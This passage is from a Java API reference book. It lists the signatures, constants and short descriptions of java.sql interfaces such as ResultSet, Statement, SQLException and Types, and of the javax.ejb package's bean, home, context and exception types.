 | public abstract double getDouble (String columnName) throws SQLException; |
 | public abstract double getDouble (int columnIndex) throws SQLException; |
1.2 | public abstract int getFetchDirection () throws SQLException; |
1.2 | public abstract int getFetchSize () throws SQLException; |
 | public abstract float getFloat (String columnName) throws SQLException; |
 | public abstract float getFloat (int columnIndex) throws SQLException; |
 | public abstract int getInt (String columnName) throws SQLException; |
 | public abstract int getInt (int columnIndex) throws SQLException; |
 | public abstract long getLong (String columnName) throws SQLException; |
 | public abstract long getLong (int columnIndex) throws SQLException; |
 | public abstract ResultSetMetaData getMetaData () throws SQLException; |
 | public abstract Object getObject (String columnName) throws SQLException; |
 | public abstract Object getObject (int columnIndex) throws SQLException; |
1.2 | public abstract Object getObject (String colName, java.util.Map map) throws SQLException; |
1.2 | public abstract Object getObject (int i, java.util.Map map) throws SQLException; |
1.2 | public abstract Ref getRef (String colName) throws SQLException; |
1.2 | public abstract Ref getRef (int i) throws SQLException; |
1.2 | public abstract int getRow () throws SQLException; |
 | public abstract short getShort (String columnName) throws SQLException; |
 | public abstract short getShort (int columnIndex) throws SQLException; |
1.2 | public abstract Statement getStatement () throws SQLException; |
 | public abstract String getString (String columnName) throws SQLException; |
 | public abstract String getString (int columnIndex) throws SQLException; |
 | public abstract Time getTime (String columnName) throws SQLException; |
 | public abstract Time getTime (int columnIndex) throws SQLException; |
1.2 | public abstract Time getTime (String columnName, java.util.Calendar cal) throws SQLException; |
1.2 | public abstract Time getTime (int columnIndex, java.util.Calendar cal) throws SQLException; |
 | public abstract Timestamp getTimestamp (String columnName) throws SQLException; |
 | public abstract Timestamp getTimestamp (int columnIndex) throws SQLException; |
1.2 | public abstract Timestamp getTimestamp (String columnName, java.util.Calendar cal) throws SQLException; |
1.2 | public abstract Timestamp getTimestamp (int columnIndex, java.util.Calendar cal) throws SQLException; |
1.2 | public abstract int getType () throws SQLException; |
 | public abstract SQLWarning getWarnings () throws SQLException; |
1.2 | public abstract void insertRow () throws SQLException; |
1.2 | public abstract boolean isAfterLast () throws SQLException; |
1.2 | public abstract boolean isBeforeFirst () throws SQLException; |
1.2 | public abstract boolean isFirst () throws SQLException; |
1.2 | public abstract boolean isLast () throws SQLException; |
1.2 | public abstract boolean last () throws SQLException; |
1.2 | public abstract void moveToCurrentRow () throws SQLException; |
1.2 | public abstract void moveToInsertRow () throws SQLException; |
 | public abstract boolean next () throws SQLException; |
1.2 | public abstract boolean previous () throws SQLException; |
1.2 | public abstract void refreshRow () throws SQLException; |
1.2 | public abstract boolean relative (int rows) throws SQLException; |
1.2 | public abstract boolean rowDeleted () throws SQLException; |
1.2 | public abstract boolean rowInserted () throws SQLException; |
1.2 | public abstract boolean rowUpdated () throws SQLException; |
1.2 | public abstract void setFetchDirection (int direction) throws SQLException; |
1.2 | public abstract void setFetchSize (int rows) throws SQLException; |
1.2 | public abstract void updateAsciiStream (String columnName, java.io.InputStream x, int length) throws SQLException; |
1.2 | public abstract void updateAsciiStream (int columnIndex, java.io.InputStream x, int length) throws SQLException; |
1.2 | public abstract void updateBigDecimal (String columnName, java.math.BigDecimal x) throws SQLException; |
1.2 | public abstract void updateBigDecimal (int columnIndex, java.math.BigDecimal x) throws SQLException; |
1.2 | public abstract void updateBinaryStream (String columnName, java.io.InputStream x, int length) throws SQLException; |
1.2 | public abstract void updateBinaryStream (int columnIndex, java.io.InputStream x, int length) throws SQLException; |
1.2 | public abstract void updateBoolean (String columnName, boolean x) throws SQLException; |
1.2 | public abstract void updateBoolean (int columnIndex, boolean x) throws SQLException; |
1.2 | public abstract void updateByte (String columnName, byte x) throws SQLException; |
1.2 | public abstract void updateByte (int columnIndex, byte x) throws SQLException; |
1.2 | public abstract void updateBytes (String columnName, byte[ ] x) throws SQLException; |
1.2 | public abstract void updateBytes (int columnIndex, byte[ ] x) throws SQLException; |
1.2 | public abstract void updateCharacterStream (String columnName, Reader reader, int length) throws SQLException; |
1.2 | public abstract void updateCharacterStream (int columnIndex, Reader x, int length) throws SQLException; |
1.2 | public abstract void updateDate (String columnName, java.sql.Date x) throws SQLException; |
1.2 | public abstract void updateDate (int columnIndex, java.sql.Date x) throws SQLException; |
1.2 | public abstract void updateDouble (String columnName, double x) throws SQLException; |
1.2 | public abstract void updateDouble (int columnIndex, double x) throws SQLException; |
1.2 | public abstract void updateFloat (String columnName, float x) throws SQLException; |
1.2 | public abstract void updateFloat (int columnIndex, float x) throws SQLException; |
1.2 | public abstract void updateInt (String columnName, int x) throws SQLException; |
1.2 | public abstract void updateInt (int columnIndex, int x) throws SQLException; |
1.2 | public abstract void updateLong (String columnName, long x) throws SQLException; |
1.2 | public abstract void updateLong (int columnIndex, long x) throws SQLException; |
1.2 | public abstract void updateNull (String columnName) throws SQLException; |
1.2 | public abstract void updateNull (int columnIndex) throws SQLException; |
1.2 | public abstract void updateObject (String columnName, Object x) throws SQLException; |
1.2 | public abstract void updateObject (int columnIndex, Object x) throws SQLException; |
1.2 | public abstract void updateObject (String columnName, Object x, int scale) throws SQLException; |
1.2 | public abstract void updateObject (int columnIndex, Object x, int scale) throws SQLException; |
1.2 | public abstract void updateRow () throws SQLException; |
1.2 | public abstract void updateShort (String columnName, short x) throws SQLException; |
1.2 | public abstract void updateShort (int columnIndex, short x) throws SQLException; |
1.2 | public abstract void updateString (String columnName, String x) throws SQLException; |
1.2 | public abstract void updateString (int columnIndex, String x) throws SQLException; |
1.2 | public abstract void updateTime (String columnName, Time x) throws SQLException; |
1.2 | public abstract void updateTime (int columnIndex, Time x) throws SQLException; |
1.2 | public abstract void updateTimestamp (String columnName, Timestamp x) throws SQLException; |
1.2 | public abstract void updateTimestamp (int columnIndex, Timestamp x) throws SQLException; |
 | public abstract boolean wasNull () throws SQLException; |
// | Deprecated Public Methods
# | public abstract java.math.BigDecimal getBigDecimal (String columnName, int scale) throws SQLException; |
# | public abstract java.math.BigDecimal getBigDecimal (int columnIndex, int scale) throws SQLException; |
# | public abstract java.io.InputStream getUnicodeStream (String columnName) throws SQLException; |
# | public abstract java.io.InputStream getUnicodeStream (int columnIndex) throws SQLException; |
}

Implementations: javax.sql.RowSet

Returned By: Too many methods to list.

ResultSetMetaData | Java 1.1
java.sql | PJ1.1(opt)

This interface provides metainformation about the data underlying a particular ResultSet. In particular, you can get information about the columns of the ResultSet with getColumnCount(), getColumnLabel(), and getColumnTypeName().

public abstract interface ResultSetMetaData {
// | Public Constants
 | public static final int columnNoNulls ; | =0
 | public static final int columnNullable ; | =1
 | public static final int columnNullableUnknown ; | =2
// | Public Instance Methods
 | public abstract String getCatalogName (int column) throws SQLException; |
1.2 | public abstract String getColumnClassName (int column) throws SQLException; |
 | public abstract int getColumnCount () throws SQLException; |
 | public abstract int getColumnDisplaySize (int column) throws SQLException; |
 | public abstract String getColumnLabel (int column) throws SQLException; |
 | public abstract String getColumnName (int column) throws SQLException; |
 | public abstract int getColumnType (int column) throws SQLException; |
 | public abstract String getColumnTypeName (int column) throws SQLException; |
 | public abstract int getPrecision (int column) throws SQLException; |
 | public abstract int getScale (int column) throws SQLException; |
 | public abstract String getSchemaName (int column) throws SQLException; |
 | public abstract String getTableName (int column) throws SQLException; |
 | public abstract boolean isAutoIncrement (int column) throws SQLException; |
 | public abstract boolean isCaseSensitive (int column) throws SQLException; |
 | public abstract boolean isCurrency (int column) throws SQLException; |
 | public abstract boolean isDefinitelyWritable (int column) throws SQLException; |
 | public abstract int isNullable (int column) throws SQLException; |
 | public abstract boolean isReadOnly (int column) throws SQLException; |
 | public abstract boolean isSearchable (int column) throws SQLException; |
 | public abstract boolean isSigned (int column) throws SQLException; |
 | public abstract boolean isWritable (int column) throws SQLException; |
}

Implementations: javax.sql.RowSetMetaData

Returned By: PreparedStatement.getMetaData(), ResultSet.getMetaData()

SQLData Java 1.2
java.sql

Allows custom mapping of user-defined SQL types. This interface is generally implemented by a development tool or driver vendor and is never called by the programmer directly.

public abstract interface SQLData {
// | Public Instance Methods
 | public abstract String getSQLTypeName () throws SQLException;
 | public abstract void readSQL (SQLInput stream, String typeName) throws SQLException;
 | public abstract void writeSQL (SQLOutput stream) throws SQLException;
}

Passed To: SQLOutput.writeObject()

SQLException | Java 1.1
java.sql | serializable checked PJ1.1(opt)

A SQLException object is thrown by any JDBC method that encounters an error. SQLException extends the java.lang.Exception class and adds a vendor-specific error code and an XOPEN SQL state code. SQLException objects can be chained together. The next exception in the chain is retrieved via getNextException(), which returns null if there are no more exceptions available. The setNextException() method adds an exception to the end of the chain.

public class SQLException extends Exception {
// | Public Constructors
 | public SQLException (); |
 | public SQLException (String reason); |
 | public SQLException (String reason, String SQLState); |
 | public SQLException (String reason, String SQLState, int vendorCode); |
// | Public Instance Methods
 | public int getErrorCode (); | default:0
 | public SQLException getNextException (); | default:null
 | public String getSQLState (); | default:null
 | public void setNextException (SQLException ex); | synchronized
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->SQLException

Subclasses: BatchUpdateException, SQLWarning

Passed To: SQLException.setNextException(), javax.sql.ConnectionEvent.ConnectionEvent()

Returned By: SQLException.getNextException(), javax.sql.ConnectionEvent.getSQLException()

Thrown By: Too many methods to list.

SQLInput Java 1.2
java.sql

Represents an input stream for a user-defined SQL type. SQLInput is used by the driver and is never called by the programmer directly.

public abstract interface SQLInput {
// | Public Instance Methods
 | public abstract java.sql.Array readArray () throws SQLException;
 | public abstract java.io.InputStream readAsciiStream () throws SQLException;
 | public abstract java.math.BigDecimal readBigDecimal () throws SQLException;
 | public abstract java.io.InputStream readBinaryStream () throws SQLException;
 | public abstract Blob readBlob () throws SQLException;
 | public abstract boolean readBoolean () throws SQLException;
 | public abstract byte readByte () throws SQLException;
 | public abstract byte[ ] readBytes () throws SQLException;
 | public abstract Reader readCharacterStream () throws SQLException;
 | public abstract Clob readClob () throws SQLException;
 | public abstract java.sql.Date readDate () throws SQLException;
 | public abstract double readDouble () throws SQLException;
 | public abstract float readFloat () throws SQLException;
 | public abstract int readInt () throws SQLException;
 | public abstract long readLong () throws SQLException;
 | public abstract Object readObject () throws SQLException;
 | public abstract Ref readRef () throws SQLException;
 | public abstract short readShort () throws SQLException;
 | public abstract String readString () throws SQLException;
 | public abstract Time readTime () throws SQLException;
 | public abstract Timestamp readTimestamp () throws SQLException;
 | public abstract boolean wasNull () throws SQLException;
}

Passed To: SQLData.readSQL()

SQLOutput Java 1.2
java.sql

Represents an output stream for a user-defined SQL type. SQLOutput is used by the driver and is never called by the programmer directly.

public abstract interface SQLOutput {
// | Public Instance Methods
 | public abstract void writeArray (java.sql.Array x) throws SQLException;
 | public abstract void writeAsciiStream (java.io.InputStream x) throws SQLException;
 | public abstract void writeBigDecimal (java.math.BigDecimal x) throws SQLException;
 | public abstract void writeBinaryStream (java.io.InputStream x) throws SQLException;
 | public abstract void writeBlob (Blob x) throws SQLException;
 | public abstract void writeBoolean (boolean x) throws SQLException;
 | public abstract void writeByte (byte x) throws SQLException;
 | public abstract void writeBytes (byte[ ] x) throws SQLException;
 | public abstract void writeCharacterStream (Reader x) throws SQLException;
 | public abstract void writeClob (Clob x) throws SQLException;
 | public abstract void writeDate (java.sql.Date x) throws SQLException;
 | public abstract void writeDouble (double x) throws SQLException;
 | public abstract void writeFloat (float x) throws SQLException;
 | public abstract void writeInt (int x) throws SQLException;
 | public abstract void writeLong (long x) throws SQLException;
 | public abstract void writeObject (SQLData x) throws SQLException;
 | public abstract void writeRef (Ref x) throws SQLException;
 | public abstract void writeShort (short x) throws SQLException;
 | public abstract void writeString (String x) throws SQLException;
 | public abstract void writeStruct (Struct x) throws SQLException;
 | public abstract void writeTime (Time x) throws SQLException;
 | public abstract void writeTimestamp (Timestamp x) throws SQLException;
}

Passed To: SQLData.writeSQL()

SQLWarning | Java 1.1
java.sql | serializable checked PJ1.1(opt)

Represents a nonfatal warning condition. Warnings are silently chained to the object whose method produced them. You can retrieve warnings with the getWarnings() method implemented by most JDBC classes.

public class SQLWarning extends SQLException {
// | Public Constructors
 | public SQLWarning (); |
 | public SQLWarning (String reason); |
 | public SQLWarning (String reason, String SQLstate); |
 | public SQLWarning (String reason, String SQLstate, int vendorCode); |
// | Public Instance Methods
 | public SQLWarning getNextWarning (); | default:null
 | public void setNextWarning (SQLWarning w); |
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->SQLException-->SQLWarning

Subclasses: DataTruncation

Passed To: SQLWarning.setNextWarning()

Returned By: java.sql.Connection.getWarnings(), ResultSet.getWarnings(), SQLWarning.getNextWarning(), Statement.getWarnings()

Statement | Java 1.1
java.sql | PJ1.1(opt)

The Statement interface executes SQL statements. Statement objects are returned by the createStatement() method of Connection. The execute(), executeUpdate(), and executeQuery() methods each take a Stringparameter that contains a SQL statement. execute() returns a boolean value that indicates whether a ResultSet is available. The ResultSet can then be retrieved with getResultSet(). executeUpdate() returns an update count and is used for INSERT, UPDATE, DELETE, and other data manipulation statements. executeQuery() is used for SELECTstatements, so it returns a ResultSet. There can be only one ResultSet active per query; the current ResultSet is closed when a new SQL statement of any kind is executed.

public abstract interface Statement {
// | Public Instance Methods
1.2 | public abstract void addBatch (String sql) throws SQLException;
 | public abstract void cancel () throws SQLException;
1.2 | public abstract void clearBatch () throws SQLException;
 | public abstract void clearWarnings () throws SQLException;
 | public abstract void close () throws SQLException;
 | public abstract boolean execute (String sql) throws SQLException;
1.2 | public abstract int[ ] executeBatch () throws SQLException;
 | public abstract ResultSet executeQuery (String sql) throws SQLException;
 | public abstract int executeUpdate (String sql) throws SQLException;
1.2 | public abstract java.sql.Connection getConnection () throws SQLException;
1.2 | public abstract int getFetchDirection () throws SQLException;
1.2 | public abstract int getFetchSize () throws SQLException;
 | public abstract int getMaxFieldSize () throws SQLException;
 | public abstract int getMaxRows () throws SQLException;
 | public abstract boolean getMoreResults () throws SQLException;
 | public abstract int getQueryTimeout () throws SQLException;
 | public abstract ResultSet getResultSet () throws SQLException;
1.2 | public abstract int getResultSetConcurrency () throws SQLException;
1.2 | public abstract int getResultSetType () throws SQLException;
 | public abstract int getUpdateCount () throws SQLException;
 | public abstract SQLWarning getWarnings () throws SQLException;
 | public abstract void setCursorName (String name) throws SQLException;
 | public abstract void setEscapeProcessing (boolean enable) throws SQLException;
1.2 | public abstract void setFetchDirection (int direction) throws SQLException;
1.2 | public abstract void setFetchSize (int rows) throws SQLException;
 | public abstract void setMaxFieldSize (int max) throws SQLException;
 | public abstract void setMaxRows (int max) throws SQLException;
 | public abstract void setQueryTimeout (int seconds) throws SQLException;
}

Implementations: PreparedStatement

Returned By: java.sql.Connection.createStatement(), ResultSet.getStatement()

Struct Java 1.2
java.sql

The Struct interface provides a mapping for an SQL structured type. The getAttributes() method returns an array of objects representing each attribute in the structured type. Custom type maps can be specified by including a java.util.Map attribute.

public abstract interface Struct {
// | Public Instance Methods
 | public abstract Object[ ] getAttributes () throws SQLException;
 | public abstract Object[ ] getAttributes (java.util.Map map) throws SQLException;
 | public abstract String getSQLTypeName () throws SQLException;
}

Passed To: SQLOutput.writeStruct()

Time | Java 1.1
java.sql | cloneable serializable comparable PJ1.1(opt)

A wrapper around the java.util.Date class that adjusts the time value (milliseconds since January 1, 1970 0:00:00 GMT) to conform to the SQL TIME specification. The TIME type only deals with the time of day, so the date components are set to January 1, 1970 and should not be altered. The Time class also includes a static valueOf() method that decodes the JDBC Time escape syntax hh:mm:ss into a Time value.

public class Time extends java.util.Date {
// | Public Constructors
 | public Time (long time); |
 | public Time (int hour, int minute, int second); |
// | Public Class Methods
 | public static Time valueOf (String s); |
// | Public methods overriding Date
 | public void setTime (long time); |
 | public String toString (); |
// | Deprecated Public Methods
# | public int getDate (); | Overrides:Date
# | public int getDay (); | Overrides:Date
# | public int getMonth (); | Overrides:Date
# | public int getYear (); | Overrides:Date
# | public void setDate (int i); | Overrides:Date
# | public void setMonth (int i); | Overrides:Date
# | public void setYear (int i); | Overrides:Date
}

Hierarchy: Object-->java.util.Date(Serializable,Cloneable,Comparable)-->Time

Passed To: PreparedStatement.setTime(), ResultSet.updateTime(), SQLOutput.writeTime(), javax.sql.RowSet.setTime()

Returned By: CallableStatement.getTime(), ResultSet.getTime(), SQLInput.readTime(), Time.valueOf()

Timestamp | Java 1.1
java.sql | cloneable serializable comparable PJ1.1(opt)

Extends the java.util.Date class to function as an SQL TIMESTAMP value by adding a nanoseconds component. The getTime() method returns the time in milliseconds since January 1, 1970 00:00:00 GMT to the latest integral second. To include fractional seconds, divide the value returned by getNanos() by 1 million and add this to the result returned by getTime(). This allows accurate comparisons with java.util.Date objects. The valueOf() method parses a String in the format yyyy-mm-dd hh:mm:ss.fffffffff into a Timestamp.

public class Timestamp extends java.util.Date {
// | Public Constructors
 | public Timestamp (long time);
# | public Timestamp (int year, int month, int date, int hour, int minute, int second, int nano);
// | Public Class Methods
 | public static Timestamp valueOf (String s);
// | Public Instance Methods
 | public boolean after (Timestamp ts);
 | public boolean before (Timestamp ts);
 | public boolean equals (Timestamp ts);
 | public int getNanos ();
 | public void setNanos (int n);
// | Public methods overriding Date
1.2 | public boolean equals (Object ts);
 | public String toString ();
}

Hierarchy: Object-->java.util.Date(Serializable,Cloneable,Comparable)-->Timestamp

Passed To: PreparedStatement.setTimestamp(), ResultSet.updateTimestamp(), SQLOutput.writeTimestamp(), Timestamp.{after(), before(), equals()}, javax.sql.RowSet.setTimestamp()

Returned By: CallableStatement.getTimestamp(), ResultSet.getTimestamp(), SQLInput.readTimestamp(), Timestamp.valueOf()

Types | Java 1.1
java.sql | PJ1.1(opt)

The Types class defines a set of integer constants that represent SQL data types. The type names and constant values are the ones specified in the XOPEN specification.

public class Types {
// | No Constructor
// | Public Constants
1.2 | public static final int ARRAY ; | =2003
 | public static final int BIGINT ; | =-5
 | public static final int BINARY ; | =-2
 | public static final int BIT ; | =-7
1.2 | public static final int BLOB ; | =2004
 | public static final int CHAR ; | =1
1.2 | public static final int CLOB ; | =2005
 | public static final int DATE ; | =91
 | public static final int DECIMAL ; | =3
1.2 | public static final int DISTINCT ; | =2001
 | public static final int DOUBLE ; | =8
 | public static final int FLOAT ; | =6
 | public static final int INTEGER ; | =4
1.2 | public static final int JAVA_OBJECT ; | =2000
 | public static final int LONGVARBINARY ; | =-4
 | public static final int LONGVARCHAR ; | =-1
 | public static final int NULL ; | =0
 | public static final int NUMERIC ; | =2
 | public static final int OTHER ; | =1111
 | public static final int REAL ; | =7
1.2 | public static final int REF ; | =2006
 | public static final int SMALLINT ; | =5
1.2 | public static final int STRUCT ; | =2002
 | public static final int TIME ; | =92
 | public static final int TIMESTAMP ; | =93
 | public static final int TINYINT ; | =-6
 | public static final int VARBINARY ; | =-3
 | public static final int VARCHAR ; | =12
}
Previous | Home | Next
17.1. The java.rmi.server Package | Book Index | 19. The javax.ejb Package
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The javax.ejb Package (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

Chapter 19. The javax.ejb Package

The javax.ejb package is the primary package in the Enterprise JavaBeans API. It contains interfaces for all the key entities you need to create and use EJB objects. It also contains a number of EJB-specific exceptions. Figure 19-1 shows the class hierarchy of this package.

There are no concrete implementations provided for any of the interfaces in the javax.ejb package. EJB providers build their own implementations based on the EJB specification and provide them in their EJB-enabled servers. You should, however, build EJB server objects and clients strictly using the standard interfaces defined in this package, in order to keep your code compatible with any standard EJB server.

Figure 19-1. The javax.ejb package

CreateException | EJB 1.0
javax.ejb | serializable checked

This exception must be thrown by all create() methods declared in an Enterprise JavaBeans object's home interface. It is thrown if an error occurs during the process of creating the bean, as opposed to a communications error with the server before or after the bean is created.

public class CreateException extends Exception {
// | Public Constructors
 | public CreateException ();
 | public CreateException (String message);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->CreateException

Subclasses: DuplicateKeyException

DuplicateKeyException | EJB 1.0
javax.ejb | serializable checked

This extension of CreateException is thrown if a client attempts to create an entity bean using a primary key that matches the key of an existing entity bean of the same type.

public class DuplicateKeyException extends CreateException {
// | Public Constructors
 | public DuplicateKeyException ();
 | public DuplicateKeyException (String message);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->CreateException-->DuplicateKeyException

EJBContext EJB 1.0
javax.ejb

The EJBContext interface is the base interface for context objects provided to EJB objects by their containers. EJBContext represents runtime context information the EJB object can use during method calls to check on environment variables, query the identity of the caller, etc.

The getCallerIdentity() and isCallerInRole() methods are provided to allow the EJB object to check on the identity of the caller, if it is known. The getEnvironment() method provides a Properties list with any environment variables the EJB container exports to its EJB objects. The getEJBHome() method returns an instance of the EJB object's home interface, which allows the EJB object to query about its own type, implementing classes, etc.

The rest of the EJBContext methods are related to transaction support. The getUserTransaction() method is the EJB object's access to the container-provided implementation of the javax.transaction.UserTransaction interface. The getRollbackOnly() method tells the EJB object if it is operating within a transaction that has been rolled back, and the setRollbackOnly() method sets the current enclosing transaction, if any, to be rolled back.

public interface EJBContext {
// | Public Instance Methods
 | public abstract java.security.Identity getCallerIdentity ();
 | public abstract EJBHome getEJBHome ();
 | public abstract java.util.Properties getEnvironment ();
 | public abstract boolean getRollbackOnly ();
 | public abstract javax.jts.UserTransaction getUserTransaction () throws java.lang.IllegalStateException;
 | public abstract boolean isCallerInRole (java.security.Identity role);
 | public abstract void setRollbackOnly ();
}

Implementations: EntityContext, SessionContext

EJBException | EJB 1.0
javax.ejb | serializable checked

Thrown by an Enterprise JavaBeans implementation when it encounters an error during the execution of a client-invoked business method or a container-invoked notification method. The container receives the exception (since it serves as a proxy for all client interactions with the bean) and is responsible for converting the EJBException to an appropriate subclass of java.rmi.RemoteException to be returned to the client.

If the EJB object was operating within a container-defined transaction context when the exception was thrown, the container does a rollback on the transaction before throwing the RemoteException to the client. If the bean was operating within a client-defined transaction context, the container marks the transaction for rollback and throws a javax.transaction.TransactionRolledbackException (a subclass of RemoteException) to the client, to indicate that it should give up on its transaction.

public class EJBException extends Exception {
// | Public Constructors
 | public EJBException (); |
 | public EJBException (Exception ex); |
 | public EJBException (String message); |
// | Public Instance Methods
 | public Exception getCausedByException (); | default:null
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->EJBException

EJBHome | EJB 1.0
javax.ejb | remote

The EJBHome interface is the base interface for all home interfaces for Enterprise JavaBeans. If you develop an Enterprise JavaBeans object, you have to provide a home interface for it that extends this interface. The home interface allows clients to create beans of the corresponding type and to find them, if it is an entity bean. When you extend the EJBHome interface to create a home interface for your EJB object type, you must specify any create or finder methods for the bean you intend to provide for the client. The EJBHome interface provides two remove() methods that let a client remove its reference to a bean from the container and a getEJBMetaData() method that returns an EJBMetaData instance for the EJB object's type.

public interface EJBHome extends java.rmi.Remote {
// | Public Instance Methods
 | public abstract EJBMetaData getEJBMetaData () throws java.rmi.RemoteException;
 | public abstract void remove (Object primaryKey) throws java.rmi.RemoteException, RemoveException;
 | public abstract void remove (Handle handle) throws java.rmi.RemoteException, RemoveException;
}

Hierarchy: (EJBHome(java.rmi.Remote))

Returned By: EJBContext.getEJBHome(), EJBMetaData.getEJBHome(), EJBObject.getEJBHome()

EJBMetaData EJB 1.0
javax.ejb

This interface provides metadata on a particular type of Enterprise JavaBeans object. It allows you to query for the bean type's home interface, the Class for its home interface, the Class of its primary key (for entity beans only), the Class for its remote interface, and whether the bean is a session bean or an entity bean. This metadata might be used by EJB development tools to introspect on additional aspects of EJB classes that cannot be obtained from the Object introspection methods. Any implementation of this interface is required to be serializable and must be valid for use over RMI.

public interface EJBMetaData {
// | Public Instance Methods
 | public abstract EJBHome getEJBHome ();
 | public abstract Class getHomeInterfaceClass ();
 | public abstract Class getPrimaryKeyClass ();
 | public abstract Class getRemoteInterfaceClass ();
 | public abstract boolean isSession ();
}

Returned By: EJBHome.getEJBMetaData()

EJBObject | EJB 1.0
javax.ejb | remote

This interface is the base interface for all remote interfaces for Enterprise JavaBeans. When a client acquires a remote reference to an EJB object, it is given an instance of the EJBObject interface as a stub. If you develop an Enterprise JavaBeans object, you must provide a remote interface for it by extending the EJBObject interface. In the remote interface for your EJB object type, you specify the business methods on your bean that are accessible by remote clients.

The EJBObject interface provides methods that allow a client to query the bean's home interface, get a portable handle for the remote bean, get the primary key for the bean (if it is an entity bean), compare the bean for equality with another bean, and remove the client's reference to the bean.

public interface EJBObject extends java.rmi.Remote {
// | Public Instance Methods
 | public abstract EJBHome getEJBHome () throws java.rmi.RemoteException;
 | public abstract Handle getHandle () throws java.rmi.RemoteException;
 | public abstract Object getPrimaryKey () throws java.rmi.RemoteException;
 | public abstract boolean isIdentical (EJBObject obj) throws java.rmi.RemoteException;
 | public abstract void remove () throws java.rmi.RemoteException, RemoveException;
}

Hierarchy: (EJBObject(java.rmi.Remote))

Passed To: EJBObject.isIdentical()

Returned By: EntityContext.getEJBObject(), Handle.getEJBObject(), SessionContext.getEJBObject()

EnterpriseBean | EJB 1.0
javax.ejb | serializable

This interface is the base interface for all Enterprise JavaBeans implementations. If you develop an Enterprise JavaBeans object, your bean implementation must extend this interface, usually by extending one of the derived interfaces, SessionBean or EntityBean. The EnterpriseBean interface is a marker interface only and does not define any methods.

public interface EnterpriseBean extends Serializable {
}

Hierarchy: (EnterpriseBean(Serializable))

Implementations: EntityBean, SessionBean

EntityBean | EJB 1.0
javax.ejb | serializable

This interface is the base interface for all entity EJB objects. The methods defined on the EntityBean interface are used by EJB containers to notify the entity bean about entity-specific events, such as the need to (re)load its state from persistent storage.

The ejbActivate() and ejbPassivate() methods are called on the bean by the container when the bean is associated and disassociated with a specific entity, respectively. The ejbLoad() and ejbStore() methods are called when the entity bean needs to read and write its persistent state, respectively. The ejbRemove() method is called when the entity associated with this bean should be removed from persistent storage. When the container sets the entity bean's context, it calls the setEntityContext() method. The container removes the association with a given context by calling the unsetEntityContext() method.

public interface EntityBean extends EnterpriseBean {
// | Public Instance Methods
 | public abstract void ejbActivate () throws java.rmi.RemoteException;
 | public abstract void ejbLoad () throws java.rmi.RemoteException;
 | public abstract void ejbPassivate () throws java.rmi.RemoteException;
 | public abstract void ejbRemove () throws java.rmi.RemoteException, RemoveException;
 | public abstract void ejbStore () throws java.rmi.RemoteException;
 | public abstract void setEntityContext (EntityContext ctx) throws java.rmi.RemoteException;
 | public abstract void unsetEntityContext () throws java.rmi.RemoteException;
}

Hierarchy: (EntityBean(EnterpriseBean(Serializable)))

EntityContext EJB 1.0
javax.ejb

This extension of the EJBContext interface represents runtime context information for an entity bean. In addition to the context provided by the EJBContext methods, EntityContext allows the entity bean to query for its primary key and a remote reference to itself.

public interface EntityContext extends EJBContext {
// | Public Instance Methods
 | public abstract EJBObject getEJBObject () throws java.lang.IllegalStateException;
 | public abstract Object getPrimaryKey () throws java.lang.IllegalStateException;
}

Hierarchy: (EntityContext(EJBContext))

Passed To: EntityBean.setEntityContext()

FinderException | EJB 1.0
javax.ejb | serializable checked

This exception must be thrown by any finder methods declared on an entity bean's home interface. It is thrown if an error occurred while the server attempted to find the requested entity or entities.

public class FinderException extends Exception {
// | Public Constructors
 | public FinderException ();
 | public FinderException (String message);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->FinderException

Subclasses: ObjectNotFoundException

Handle EJB 1.0
javax.ejb

A Handle represents a portable reference to a remote EJB object, in that it can be serialized, passed across Java VM boundaries, and then used to reconstitute a remote reference to the same EJB object from which it was acquired. You acquire a handle for an EJB object using the getHandle() method on its remote EJBObject.

The Handle interface acts as a base interface for EJB type-specific handle classes, which are typically generated for you by container deployment tools. Its only method is getEJBObject(), which returns a remote reference to the EJB object that it represents.

public interface Handle {
// | Public Instance Methods
 | public abstract EJBObject getEJBObject () throws java.rmi.RemoteException;
}

Passed To: EJBHome.remove()

Returned By: EJBObject.getHandle()

ObjectNotFoundException | EJB 1.0
javax.ejb | serializable checked

This subclass of FinderException is thrown by finder methods that are declared to return a single entity bean, when the requested entity can't be found in the server's persistent storage.

public class ObjectNotFoundException extends FinderException {
// | Public Constructors
 | public ObjectNotFoundException ();
 | public ObjectNotFoundException (String message);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->FinderException-->ObjectNotFoundException

RemoveException | EJB 1.0
javax.ejb | serializable checked

Thrown by the remove methods on an EJB home interface, when an attempt to remove a bean from its container is rejected or fails at either the container or the EJB object level.

public class RemoveException extends Exception {
// | Public Constructors
 | public RemoveException ();
 | public RemoveException (String message);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->RemoveException

Thrown By: EJBHome.remove(), EJBObject.remove(), EntityBean.ejbRemove()

SessionBean | EJB 1.0
javax.ejb | serializable

This is the base interface for all session Enterprise JavaBeans implementations. The methods on this interface are used by the EJB container to notify the bean about certain events.

The ejbActivate() and ejbPassivate() methods are invoked by the container when the bean leaves/enters (respectively) a passive state in the container. After the ejbPassivate() method completes, the container should be able to serialize the bean object and store it to disk or some other persistent storage, if the container chooses. During the ejbActivate() method, the bean can restore any data or resources it released when it was passivated. The container calls ejbRemove() on the bean just before the bean is destroyed. The container sets the bean's context by calling its setSessionContext() method. The session bean keeps the same context throughout its lifetime, so there is no corresponding unset method, as there is for EntityBean.

public interface SessionBean extends EnterpriseBean {
// | Public Instance Methods
 | public abstract void ejbActivate () throws java.rmi.RemoteException;
 | public abstract void ejbPassivate () throws java.rmi.RemoteException;
 | public abstract void ejbRemove () throws java.rmi.RemoteException;
 | public abstract void setSessionContext (SessionContext ctx) throws java.rmi.RemoteException;
}

Hierarchy: (SessionBean(EnterpriseBean(Serializable)))

SessionContext EJB 1.0
javax.ejb

This extension of the EJBContext interface represents runtime context information for a session bean. In addition to the context provided by the EJBContex methods, SessionContext allows the session bean to query for a remote reference to itself.

public interface SessionContext extends EJBContext {
// | Public Instance Methods
 | public abstract EJBObject getEJBObject () throws java.lang.IllegalStateException;
}

Hierarchy: (SessionContext(EJBContext))

